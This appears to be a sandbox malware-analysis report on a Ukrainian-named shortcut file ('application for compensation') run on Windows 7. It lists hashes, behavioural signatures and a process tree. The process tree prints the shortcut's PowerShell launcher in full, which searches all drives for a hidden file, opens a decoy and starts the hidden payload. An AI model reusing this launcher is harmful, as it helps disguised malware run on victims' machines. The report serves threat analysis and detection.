1c6643b479614340097a8071c9f880688af5a82db7b6e755beafe7301eea1abf

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 09:50

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General

Target
ЗАЯВА-на-отримання-компенсації.lnk
Size 411KB
Sample240410-lt91ssed3x
SHA256 bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7
MD5 c15aa00479cae0a8bae7c926d7fd8ba6
SHA1 9c7c059e617380eb7bf5b5ae41b2874e2cf5111c
SHA512 79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72
SSDEEP 24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2636	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 2636	2100	cmd.exe	29
PID 2100 wrote to memory of 2636	2100	cmd.exe	29
PID 2100 wrote to memory of 2636	2100	cmd.exe	29
PID 2100 wrote to memory of 2636	2100	cmd.exe	29
PID 2636 wrote to memory of 2732	2636	powershell.exe	30
PID 2636 wrote to memory of 2732	2636	powershell.exe	30
PID 2636 wrote to memory of 2732	2636	powershell.exe	30
PID 2636 wrote to memory of 2732	2636	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
  2⤵
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\SysWOW64\findstr.exe
    "C:\Windows\system32\findstr.exe" :\
    3⤵
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2636-38-0x00000000737E0000-0x0000000073D8B000-memory.dmp

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memory/2636-39-0x0000000002800000-0x0000000002840000-memory.dmp

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memory/2636-40-0x00000000737E0000-0x0000000073D8B000-memory.dmp

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memory/2636-41-0x0000000002800000-0x0000000002840000-memory.dmp

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memory/2636-42-0x00000000737E0000-0x0000000073D8B000-memory.dmp

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